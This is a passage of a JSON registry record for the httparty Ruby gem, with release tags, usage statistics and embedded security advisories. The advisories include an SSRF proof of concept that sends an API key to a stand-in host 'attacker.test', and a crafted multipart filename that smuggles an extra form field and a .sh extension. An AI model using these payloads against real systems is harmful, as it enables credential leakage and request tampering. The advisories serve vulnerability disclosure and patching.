https://github.com/jnunemaker/httparty/releases/tag/v0.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.9.0/manifests"},{"name":"v0.8.3","sha":"1d6e2fa72a51288b3d53850cb1a1ebd60f47d9a3","kind":"tag","published_at":"2012-04-22T03:09:34.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.8.3","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.8.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.8.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.8.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.8.3/manifests"},{"name":"v0.8.2","sha":"d0ed57ea578655a3783df3732c3f349497fcc1f3","kind":"tag","published_at":"2012-04-12T17:06:11.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.8.2","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.8.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.8.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.8.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.8.2/manifests"},{"name":"v0.8.1","sha":"76a9f1b45b4a11f12dd7d99d6497ca381a5607e5","kind":"tag","published_at":"2011-10-05T15:28:32.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.8.1","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.8.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.8.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.8.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.8.1/manifests"},{"name":"v0.8.0","sha":"ebbd0cb9438547a2ad5cf998b63b234004dd5be6","kind":"tag","published_at":"2011-09-13T16:35:05.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.8.0","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.8.0/manifests"},{"name":"v0.7.8","sha":"68c254f9c1d90430ec7da25e941625ba9e989799","kind":"tag","published_at":"2011-06-07T01:38:12.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.7.8","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.7.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.7.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.7.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.7.8/manifests"},{"name":"v0.7.7","sha":"2d4c1bd34bd86dccf36616ea7540916a8adc1a09","kind":"tag","published_at":"2011-04-20T21:55:02.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.7.7","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.7.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.7.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.7.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.7.7/manifests"},{"name":"v0.7.6","sha":"d7e3079c597209d9870d329baa13cb74d73deb68","kind":"tag","published_at":"2011-04-16T18:45:18.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.7.6","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.7.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.7.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.7.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.7.6/manifests"},{"name":"v0.7.5","sha":"3ffad3570374014953fc5e36b528c8f838b78951","kind":"commit","published_at":"2011-04-15T22:32:09.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.7.5","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.7.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.7.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.7.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.7.5/manifests"},{"name":"v0.7.4","sha":"00a7ec9ce55a8e1aeeea2fde7d16c59821266122","kind":"commit","published_at":"2011-02-13T20:20:48.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.7.4","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.7.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.7.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.7.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.7.4/manifests"},{"name":"v0.7.3","sha":"d5b023c9054aaa308e012adb1220f8d1d065cdb9","kind":"commit","published_at":"2011-01-20T17:33:06.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.7.3","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.7.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.7.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.7.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.7.3/manifests"},{"name":"v0.7.2","sha":"802a4edddd70b898580ee12bec79a4459214a5fd","kind":"commit","published_at":"2011-01-20T06:41:37.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.7.2","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.7.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.7.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.7.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.7.2/manifests"},{"name":"v0.7.1","sha":"6946ecb4914bf65b685a0fd6bd4a122f1b2a4c01","kind":"commit","published_at":"2011-01-19T21:54:16.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.7.1","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.7.1/manifests"},{"name":"v0.7.0","sha":"f52142ffc5867ce42bf3048315959d84e7639d64","kind":"commit","published_at":"2011-01-18T22:05:49.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.7.0","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.7.0/manifests"},{"name":"v0.6.1","sha":"24892b873f88e16d86dca2dd5a96fcf4dacfcc77","kind":"commit","published_at":"2010-07-07T20:14:54.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.6.1","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.6.1/manifests"},{"name":"v0.6.0","sha":"d160df6c3b21a384cfcc68c0ffd23dc6c168b68d","kind":"commit","published_at":"2010-06-13T15:43:43.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.6.0","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.6.0/manifests"},{"name":"v0.5.2","sha":"03852d246bc1482150e92c23115e02e1de4930fb","kind":"commit","published_at":"2010-01-31T23:39:28.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.5.2","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.5.2/manifests"},{"name":"v0.5.1","sha":"c3cefc223aca504072951cabf17e17cd88a5780c","kind":"commit","published_at":"2010-01-31T03:31:23.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.5.1","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.5.1/manifests"},{"name":"v0.5.0","sha":"94601fe05efeb2fbd001e9830b4f9ec522ad2250","kind":"commit","published_at":"2009-12-08T02:59:52.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.5.0","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.5.0/manifests"},{"name":"v0.4.5","sha":"7443e42395e00ddaee362586471ae948eada4a76","kind":"commit","published_at":"2009-09-13T03:14:01.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.4.5","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.4.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.4.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.4.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.4.5/manifests"}]},"repo_metadata_updated_at":"2026-04-29T09:47:52.757Z","dependent_packages_count":4792,"downloads":452628889,"downloads_period":"total","dependent_repos_count":64329,"rankings":{"downloads":0.06021342313310511,"dependent_repos_count":0.1404979873105786,"dependent_packages_count":0.011150633913537985,"stargazers_count":0.20294153722639133,"forks_count":0.44937054671558074,"docker_downloads_count":0.26482755544652714,"average":0.18816694729095348},"purl":"pkg:gem/httparty","advisories":[{"uuid":"GSA_kwCzR0hTQS1obTVwLXg0cnEtMzh3NM4ABQFw","url":"https://github.com/advisories/GHSA-hm5p-x4rq-38w4","title":"httparty Has Potential SSRF Vulnerability That Leads to API Key Leakage","description":"## Summary\n\nThere may be an SSRF vulnerability in httparty. This issue can pose a risk of leaking API keys, and it can also allow third parties to issue requests to internal servers.\n\n## Details\n\nWhen httparty receives a path argument that is an absolute URL, it ignores the `base_uri` field. As a result, if a malicious user can control the path value, the application may unintentionally communicate with a host that the programmer did not anticipate.\n\nConsider the following example of a web application:\n\n```rb\nrequire 'sinatra'\nrequire 'httparty'\n\nclass RepositoryClient\n  include HTTParty\n  base_uri 'http://exmaple.test/api/v1/repositories/'\n  headers 'X-API-KEY' =\u003e '1234567890'\nend\n\npost '/issue' do\n  request_body = JSON.parse(request.body.read)\n  RepositoryClient.get(request_body['repository_id']).body\n  # do something\n  json message: 'OK'\nend\n```\n\nNow, suppose an attacker sends a request like this:\n\n```\nPOST /issue HTTP/1.1\nHost: localhost:10000\nContent-Type: application/json\n\n{\n    \"repository_id\": \"http://attacker.test\",\n    \"title\": \"test\"\n}\n```\n\nIn this case, httparty sends the `X-API-KEY` not to `http://example.test` but instead to `http://attacker.test`.\n\nA similar problem was reported and fixed in the HTTP client library axios in the past:  \n\u003chttps://github.com/axios/axios/issues/6463\u003e\n\nAlso, Python's `urljoin` function has documented a warning about similar behavior:  \n\u003chttps://docs.python.org/3.13/library/urllib.parse.html#urllib.parse.urljoin\u003e\n\n## PoC\n\nFollow these steps to reproduce the issue:\n\n1. Set up two simple HTTP servers.\n\n   ```bash\n   mkdir /tmp/server1 /tmp/server2\n   echo \"this is server1\" \u003e /tmp/server1/index.html \n   echo \"this is server2\" \u003e /tmp/server2/index.html\n   python -m http.server -d /tmp/server1 10001 \u0026\n   python -m http.server -d /tmp/server2 10002 \u0026\n   ```\n\n2. Create a script (for example, `main.rb`):\n\n   ```rb\n   require 'httparty'\n\n   class Client\n     include HTTParty\n     base_uri 'http://localhost:10001'\n   end\n\n   data = Client.get('http://localhost:10002').body\n   puts data\n   ```\n\n3. Run the script:\n\n   ```bash\n   $ ruby main.rb\n   this is server2\n   ```\n\nAlthough `base_uri` is set to `http://localhost:10001/`, httparty sends the request to `http://localhost:10002/`.\n\n\n## Impact\n\n- Leakage of credentials: If an absolute URL is provided, any API keys or credentials configured in httparty may be exposed to unintended third-party hosts.  \n- SSRF (Server-Side Request Forgery): Attackers can force the httparty-based program to send requests to other internal hosts within the network where the program is running.  \n- Affected users: Any software that uses `base_uri` and does not properly validate the path parameter may be affected by this issue.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2025-12-23T19:31:10.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.8,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:P","references":["https://github.com/jnunemaker/httparty/security/advisories/GHSA-hm5p-x4rq-38w4","https://github.com/jnunemaker/httparty/commit/0529bcd6309c9fd9bfdd50ae211843b10054c240","https://nvd.nist.gov/vuln/detail/CVE-2025-68696","https://github.com/rubysec/ruby-advisory-db/blob/master/gems/httparty/CVE-2025-68696.yml","https://github.com/advisories/GHSA-hm5p-x4rq-38w4"],"source_kind":"github","identifiers":["GHSA-hm5p-x4rq-38w4","CVE-2025-68696"],"repository_url":null,"blast_radius":0.0,"created_at":"2025-12-23T20:00:08.059Z","updated_at":"2026-04-27T14:02:09.149Z","epss_percentage":0.00074,"epss_percentile":0.22197,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1obTVwLXg0cnEtMzh3NM4ABQFw","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1obTVwLXg0cnEtMzh3NM4ABQFw","packages":[{"ecosystem":"rubygems","package_name":"httparty","versions":[{"first_patched_version":"0.24.0","vulnerable_version_range":"\u003c= 0.23.2"}],"purl":"pkg:gem/httparty"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1obTVwLXg0cnEtMzh3NM4ABQFw/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1nNDdqLTNtMm0tNzRxds4AA4Mv","url":"https://github.com/advisories/GHSA-g47j-3m2m-74qv","title":"Duplicate Advisory: httparty has multipart/form-data request tampering vulnerability","description":"### Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-5pq7-52mg-hr42. This link is maintained to preserve external references.\n\n### Original Description\nhttparty before 0.21.0 is vulnerable to an assumed-immutable web parameter vulnerability. A remote and unauthenticated attacker can provide a crafted filename parameter during multipart/form-data uploads which could result in attacker controlled filenames being written.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2024-01-04T21:30:24.000Z","withdrawn_at":"2024-01-05T15:32:43.000Z","classification":"GENERAL","cvss_score":5.3,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N","references":["https://github.com/jnunemaker/httparty/security/advisories/GHSA-5pq7-52mg-hr42","https://nvd.nist.gov/vuln/detail/CVE-2024-22049","https://github.com/jnunemaker/httparty/commit/cdb45a678c43e44570b4e73f84b1abeb5ec22b8e","https://github.com/advisories/GHSA-5pq7-52mg-hr42","https://github.com/jnunemaker/httparty/blob/4416141d37fd71bdba4f37589ec265f55aa446ce/lib/httparty/request/body.rb#L43","https://vulncheck.com/advisories/vc-advisory-GHSA-5pq7-52mg-hr42","https://lists.debian.org/debian-lts-announce/2024/01/msg00011.html","https://lists.debian.org/debian-lts-announce/2024/09/msg00043.html","https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/4LDGAVPR4KB72V4GGQCWODEAI72QZI3V","https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/IOWECZPJY6JZIA5FSBJR77KCRDXWDZDA","https://github.com/advisories/GHSA-g47j-3m2m-74qv"],"source_kind":"github","identifiers":["GHSA-g47j-3m2m-74qv"],"repository_url":"https://github.com/jnunemaker/httparty","blast_radius":0.0,"created_at":"2024-01-05T16:05:45.697Z","updated_at":"2026-04-05T20:06:45.113Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1nNDdqLTNtMm0tNzRxds4AA4Mv","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1nNDdqLTNtMm0tNzRxds4AA4Mv","packages":[{"ecosystem":"rubygems","package_name":"httparty","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 0.20.0"}],"purl":"pkg:gem/httparty"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1nNDdqLTNtMm0tNzRxds4AA4Mv/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS01cHE3LTUybWctaHI0Ms4AAwuQ","url":"https://github.com/advisories/GHSA-5pq7-52mg-hr42","title":"httparty has multipart/form-data request tampering vulnerability","description":"### Impact\nI found \"multipart/form-data request tampering vulnerability\" caused by Content-Disposition \"filename\" lack of escaping in httparty.\n\n`httparty/lib/httparty/request` \u003e `body.rb` \u003e `def generate_multipart`\n\nhttps://github.com/jnunemaker/httparty/blob/4416141d37fd71bdba4f37589ec265f55aa446ce/lib/httparty/request/body.rb#L43\n\nBy exploiting this problem, the following attacks are possible\n\n* An attack that rewrites the \"name\" field according to the crafted file name, impersonating (overwriting) another field.\n* Attacks that rewrite the filename extension at the time multipart/form-data is generated by tampering with the filename\n\nFor example, this vulnerability can be exploited to generate the following Content-Disposition.\n\n\u003e Normal Request example:\n\u003e normal input filename: `abc.txt`\n\u003e \n\u003e generated normal header in multipart/form-data\n\u003e `Content-Disposition: form-data; name=\"avatar\"; filename=\"abc.txt\"`\n \n\u003e Malicious Request example\n\u003e malicious input filename: `overwrite_name_field_and_extension.sh\"; name=\"foo\"; dummy=\".txt`\n\u003e \n\u003e generated malicious header in multipart/form-data:\n\u003e `Content-Disposition: form-data; name=\"avatar\"; filename=\"overwrite_name_field_and_extension.sh\"; name=\"foo\"; dummy=\".txt\"`\n\nThe Abused Header has multiple name ( `avatar` \u0026 `foo` ) fields and the \"filename\" has been rewritten from `*.txt` to `*.sh` .\n\nThese problems can result in successful or unsuccessful attacks, depending on the behavior of the parser receiving the request.\nI have confirmed that the attack succeeds, at least in the following frameworks\n\n * Spring (Java)\n * Ktor (Kotlin)\n * Ruby on Rails (Ruby)\n\nThe cause of this problem is the lack of escaping of the `\"` (Double-Quote) character in Content-Disposition \u003e filename.\n\nWhatWG's HTML spec has an escaping requirement.\n\nhttps://html.spec.whatwg.org/#multipart-form-data\n\n\u003e For field names and filenames for file fields, the result of the encoding in the previous bullet point must be escaped by replacing any 0x0A (LF) bytes with the byte sequence `%0A`, 0x0D (CR) with `%0D` and 0x22 (\") with `%22`. The user agent must not perform any other escapes.\n\n\n\n### Patches\n\nAs noted at the beginning of this section, encoding must be done as described in the HTML Spec.\n\nhttps://html.spec.whatwg.org/#multipart-form-data\n\n\u003e For field names and filenames for file fields, the result of the encoding in the previous bullet point must be escaped by replacing any 0x0A (LF) bytes with the byte sequence `%0A`, 0x0D (CR) with `%0D` and 0x22 (\") with `%22`. The user agent must not perform any other escapes.\n\nTherefore, it is recommended that Content-Disposition be modified by either of the following\n\n\u003e Before:\n\u003e `Content-Disposition: attachment;filename=\"malicious.sh\";dummy=.txt`\n\n\u003e After:\n\u003e `Content-Disposition: attachment;filename=\"%22malicious.sh%22;dummy=.txt\"`\n\nhttps://github.com/jnunemaker/httparty/blob/4416141d37fd71bdba4f37589ec265f55aa446ce/lib/httparty/request/body.rb#L43\n\n```\nfile_name.gsub('\"', '%22')\n```\n\nAlso, as for `\\r`, `\\n`, URL Encode is not done, but it is not newlines, so it seemed to be OK.\nHowever, since there may be omissions, it is safer to URL encode these as well, if possible.\n( `\\r` to `%0A` and `\\d` to `%0D` ) \n\n### PoC\n\n#### PoC Environment\n\nOS: macOS Monterey(12.3)\nRuby ver: ruby 3.1.2p20 \nhttparty ver: 0.20.0\n(Python3 - HTTP Request Logging Server)\n\n### PoC procedure\n\n\n(Linux or MacOS is required. \nThis is because Windows does not allow file names containing `\"` (double-quote) .)\n\n1. Create Project \n```\n$ mkdir my-app\n$ cd my-app\n$ gem install httparty\n```\n\n2. Create malicious file\n\n```\n$ touch 'overwrite_name_field_and_extension.sh\"; name=\"foo\"; dummy=\".txt'\n```\n\n3. Generate Vuln code\n\n```\n$ vi example.rb\n```\n\n```\nrequire 'httparty'\n\nfilename = 'overwrite_name_field_and_extension.sh\"; name=\"foo\"; dummy=\".txt'\n\nHTTParty.post('http://localhost:12345/',\n  body: {\n    name: 'Foo Bar',\n    email: 'example@email.com',\n    avatar: File.open(filename)\n  }\n)\n```\n\n\n4. Run Logging Server\n\nI write Python code, but any method will work as long as you can see the HTTP Request Body.\n(e.g. Debugger, HTTP Logging Server, Packet Capture) \n\n\n$ vi logging.py\n```\nfrom http.server import HTTPServer\nfrom http.server import BaseHTTPRequestHandler\n\nclass LoggingServer(BaseHTTPRequestHandler):\n\n    def do_POST(self):\n        self.send_response(200)\n        self.end_headers()\n        self.wfile.write(\"ok\".encode(\"utf-8\"))\n\n        content_length = int(self.headers['Content-Length'])\n        post_data = self.rfile.read(content_length)\n        print(\"POST request,\\nPath: %s\\nHeaders:\\n%s\\n\\nBody:\\n%s\\n\",\n                     str(self.path), str(self.headers), post_data.decode('utf-8'))\n        self.wfile.write(\"POST request for {}\".format(self.path).encode('utf-8'))\n\nip = '127.0.0.1'\nport = 12345\n\nserver = HTTPServer((ip, port), LoggingServer)\nserver.serve_forever()\n```\n\n$ python logging.py\n\n\n5. Run \u0026 Logging server\n\n```\n$ run example.rb\n```\n\nReturn Request Header \u0026 Body:\n\n\u003e User-Agent: Ruby\n\u003e Content-Type: multipart/form-data; boundary=------------------------F857UcxRc2J1zFOz\n\u003e Connection: close\n\u003e Host: localhost:12345\n\u003e Content-Length: 457\n\u003e \n\u003e  --------------------------F857UcxRc2J1zFOz\n\u003e Content-Disposition: form-data; name=\"name\"\n\u003e \n\u003e Foo Bar\n\u003e --------------------------F857UcxRc2J1zFOz\n\u003e Content-Disposition: form-data; name=\"email\"\n\u003e \n\u003e example@email.com\n\u003e --------------------------F857UcxRc2J1zFOz\n\u003e Content-Disposition: form-data; name=\"avatar\"; filename=\"overwrite_name_field_and_extension.sh\"; name=\"foo\"; dummy=\".txt\"\n\u003e Content-Type: text/plain\n\u003e \n\u003e abc\n\u003e --------------------------F857UcxRc2J1zFOz--\n\n\nContent-Disposition:\n\u003e Content-Disposition: form-data; name=\"avatar\"; filename=\"overwrite_name_field_and_extension.sh\"; name=\"foo\"; dummy=\".txt\"\n\n* name fields is duplicate (avator \u0026 foo)\n* filename \u0026 extension tampering ( .txt --\u003e .sh )\n\n\n\n\n### References\n\n1. I also include a similar report that I previously reported to Firefox.\nhttps://bugzilla.mozilla.org/show_bug.cgi?id=1556711\n\n\n2. I will post some examples of frameworks that did not have problems as reference.\n\nGolang\nhttps://github.com/golang/go/blob/e0e0c8fe9881bbbfe689ad94ca5dddbb252e4233/src/mime/multipart/writer.go#L144\n\nSpring\nhttps://github.com/spring-projects/spring-framework/blob/4cc91e46b210b4e4e7ed182f93994511391b54ed/spring-web/src/main/java/org/springframework/http/ContentDisposition.java#L259-L267\n\nSymphony\nhttps://github.com/symfony/symfony/blob/123b1651c4a7e219ba59074441badfac65525efe/src/Symfony/Component/Mime/Header/ParameterizedHeader.php#L128-L133\n\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Email us at [kumagoro_alice@yahoo.co.jp](mailto:kumagoro_alice@yahoo.co.jp)\n","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2023-01-03T13:36:46.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N","references":["https://github.com/jnunemaker/httparty/security/advisories/GHSA-5pq7-52mg-hr42","https://github.com/jnunemaker/httparty/commit/cdb45a678c43e44570b4e73f84b1abeb5ec22b8e","https://github.com/jnunemaker/httparty/blob/4416141d37fd71bdba4f37589ec265f55aa446ce/lib/httparty/request/body.rb#L43","https://nvd.nist.gov/vuln/detail/CVE-2024-22049","https://github.com/rubysec/ruby-advisory-db/blob/master/gems/httparty/CVE-2024-22049.yml","https://github.com/advisories/GHSA-5pq7-52mg-hr42"],"source_kind":"github","identifiers":["GHSA-5pq7-52mg-hr42","CVE-2024-22049"],"repository_url":"https://github.com/jnunemaker/httparty","blast_radius":0.0,"created_at":"2023-01-03T14:03:15.624Z","updated_at":"2026-04-05T20:06:45.112Z","epss_percentage":0.0119,"epss_percentile":0.78504,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01cHE3LTUybWctaHI0Ms4AAwuQ","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS01cHE3LTUybWctaHI0Ms4AAwuQ","packages":[{"ecosystem":"rubygems","package_name":"httparty","versions":[{"first_patched_version":"0.21.0","vulnerable_version_range":"\u003c= 0.20.0"}],"purl":"pkg:gem/httparty"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01cHE3LTUybWctaHI0Ms4AAwuQ/related_packages","related_advisories":[]},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLW1neDMtMjdoci1tZmdw","url":"https://github.com/advisories/GHSA-mgx3-27hr-mfgp","title":"HTTParty does not restrict casts of string values","description":"The httparty gem 0.9.0 and earlier for Ruby does not properly restrict casts of string values, which might allow remote attackers to conduct object-injection attacks and execute arbitrary code, or cause a denial of service (memory and CPU consumption) by leveraging Action Pack support for YAML type conversion, a similar vulnerability to 